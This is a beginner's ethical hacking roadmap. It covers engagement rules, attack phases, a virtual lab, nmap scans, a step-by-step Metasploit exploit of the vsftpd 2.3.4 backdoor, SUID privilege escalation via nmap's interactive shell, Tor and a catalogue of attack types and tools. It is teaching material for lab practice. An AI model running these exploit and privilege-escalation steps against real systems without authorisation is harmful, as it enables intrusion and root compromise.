Your complete journey into the world of offensive and defensive cybersecurity. This guide is a comprehensive, structured roadmap designed to take you from core concepts to the advanced tools and techniques used by professionals to secure our digital world.
Students and individuals looking to start a career in penetration testing, security analysis, or network defense.
Programmers, network admins, and system architects who want to understand the attacker's mindset to build more secure systems ("shifting left").
Anyone fascinated by the world of hacking who wants to learn how it works from a structured, ethical perspective.
Before touching any tools, one must understand the rules. Ethical hacking is governed by a strict code of conduct that separates professionals from criminals.
It's not about destruction; it's about curiosity and problem-solving. A true hacker mindset involves:
This is the golden rule. You must have clear, written, and documented permission before you perform any type of security testing. This is often formalized in a legal contract.
A professional engagement always includes a "scope of engagement." This defines what you can test (IPs, domains), what you can't, what techniques are allowed (e.g., is social engineering okay?), and the timeframe for the test.
The final product is a detailed report that explains the findings, assesses their business impact (the "so what?"), and provides clear, actionable recommendations for remediation. The goal is to improve security, not just break things.
Professional hacking follows a structured methodology to ensure all bases are covered. This five-phase process is the universal standard.
Goal: Information Gathering. Know more about the target than they know about themselves. Can be passive (no direct contact) or active (direct interaction).
Goal: Map the attack surface. Use info from recon to actively probe for weaknesses.
Goal: Breach the system. Leverage a vulnerability to gain access at the OS, application, or network level.
Goal: Secure a foothold and gain full control. Ensure you can re-enter the system and get administrator-level permissions.
Goal: Remove evidence of compromise to prevent detection.
A safe lab is non-negotiable. Here’s the standard setup:
ip a. On Metasploitable2 (login: msfadmin/msfadmin), run ifconfig. Note down their IP addresses.Objective: Discover and enumerate a target machine.
# Find live hosts on the 192.168.56.0/24 network
sudo nmap -sn 192.168.56.0/24
# Assume target is 192.168.56.102. Run an intensive scan.
sudo nmap -A -p- -T4 --min-rate=1000 192.168.56.102 -oN nmap_scan.txt-A: Aggressive scan (OS/version detection, scripts).-p-: Scan all 65,535 TCP ports.-T4: Aggressive timing template (faster).--min-rate=1000: Send at least 1000 packets per second.-oN: Save output to a normal text file.Objective: Gain a remote shell on Metasploitable2.
Scenario: Our Nmap scan found port 21 open running `vsftpd 2.3.4`, which has a known backdoor.
# Launch Metasploit
msfconsole
# Search for the exploit
msf6 > search vsftpd
# Use the exploit module
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
# View required options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
# Set the target IP address
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
# Run the exploit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploitResult: If successful, you'll see "Command shell session 1 opened". You can type whoami and it will return root. You now have full control.
Objective: Move from a low-privilege user to root.
Scenario: You've gained a user shell on a machine, but you are not root. Your `whoami` returns `www-data`. You need to find a way to escalate.
SUID binaries are programs that run with the permissions of the file owner, not the user running them. If a binary owned by root has the SUID bit set, it runs as root. This can be a vector for escalation.
# From your user shell on the target machine:
find / -perm -u=s -type f 2>/dev/null-type f) from the root directory (/) that have the SUID permission bit set (-perm -u=s). Errors are redirected to `/dev/null`.Analysis: Look through the list for non-standard programs. Binaries like `/usr/bin/passwd` are expected to have SUID, but if you see something custom like `/usr/local/bin/backup`, it's worth investigating.
Let's say you find `/usr/bin/nmap` in the SUID list (an old, misconfigured version). Nmap has an "interactive" mode that can spawn a shell.
# From your user shell:
/usr/bin/nmap --interactive
# Nmap's interactive prompt will appear. Now spawn a shell.
nmap> !sh
# Check your new identity
whoamiResult: The `whoami` command should now return root. Because nmap was a SUID binary owned by root, the shell it spawned inherited those root privileges.
The concepts of the "Deep Web" and "Dark Web" are often misunderstood. Understanding them, and the tools used to access them like Tor, is crucial for a complete cybersecurity education.
This is the internet you use every day. It's the collection of all public-facing websites that are indexed by search engines like Google. If you can find it on Google, it's on the surface web.
This is simply the part of the internet that is not indexed by search engines. It's not sinister; it's the vast majority of the web. Examples include your email inbox, online banking pages after you log in, cloud storage drives, and corporate intranets. You need direct credentials to access it.
This is a small, specific subset of the Deep Web that is intentionally hidden and requires special software to access. It is designed for maximum anonymity. The most common way to access it is through the Tor network.
Tor is a free, open-source software that enables anonymous communication. It works by directing internet traffic through a free, worldwide, volunteer overlay network consisting of more than seven thousand relays to conceal a user's location and usage from anyone conducting network surveillance or traffic analysis.
Objective: To browse the normal, surface-level internet with the privacy protections of the Tor network.
Dark Web sites are accessed via special `.onion` addresses. These can only be resolved through the Tor network. Again, exploring these sites carries significant risk.
A more granular look at the attacker's playbook.
Injecting malicious SQL into application queries to manipulate the backend database.
Injecting malicious JS into a website to execute in other users' browsers. Can be Stored, Reflected, or DOM-based.
Exploiting applications that deserialize user-supplied data without verification, potentially leading to Remote Code Execution (RCE).
Attacking applications that parse XML input, allowing an attacker to read local files on the server or cause a denial of service.
Mass-emailed fraudulent messages. Spear Phishing targets specific individuals. Whaling targets high-profile executives.
Leaving a malware-infected USB drive in a public place, relying on human curiosity to get it plugged into a corporate network.
Creating a fabricated scenario (a pretext) to manipulate a victim into providing information. E.g., pretending to be from IT support to ask for a password.
A Virus attaches to a legitimate file and requires human action to spread. A Worm is self-replicating and spreads across networks without human interaction.
Malware disguised as legitimate software. It doesn't self-replicate but opens a backdoor for an attacker.
Encrypts a victim's files and demands a ransom payment (usually in cryptocurrency) for the decryption key.
A categorized list of essential tools.
Gathers emails, subdomains, hosts, employee names from public sources like search engines and PGP key servers.
An interactive data mining tool that renders directed graphs for link analysis. Excellent for visualizing relationships between people, domains, and companies.
The essential port scanner and network mapper.
A web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs.
A tool for enumerating information from Windows and Samba systems.
The industry-standard intercepting proxy for web app testing.
An excellent open-source alternative to Burp Suite.
A flexible fuzzer for web applications. Used for finding hidden resources, bruteforcing GET/POST parameters, and fuzzing for injection vulnerabilities.
The premier exploitation framework.
The master of SQL Injection automation.
A powerful tool for attacking Windows machines that have WinRM (Windows Remote Management) enabled.
A versatile offline password cracker.
The world's fastest password cracker, capable of using GPUs for immense speed.
An online password cracker for brute-forcing login forms on live network services.
The de-facto standard for Wi-Fi penetration testing.
A wireless network detector, sniffer, and intrusion detection system.
Cybersecurity is a field of constant learning. The landscape changes daily. Use these resources to stay sharp and deepen your knowledge.
Perfect for beginners. Offers structured learning paths.
The next step up. Features live machines with varying difficulty.
The absolute best free resource for learning web application hacking, from the makers of Burp Suite.
Establishes core cybersecurity knowledge.
CEH is well-known. PenTest+ and eLearnSecurity's eJPT are more respected for being hands-on.
The industry gold standard for practical penetration testing skills. Highly respected.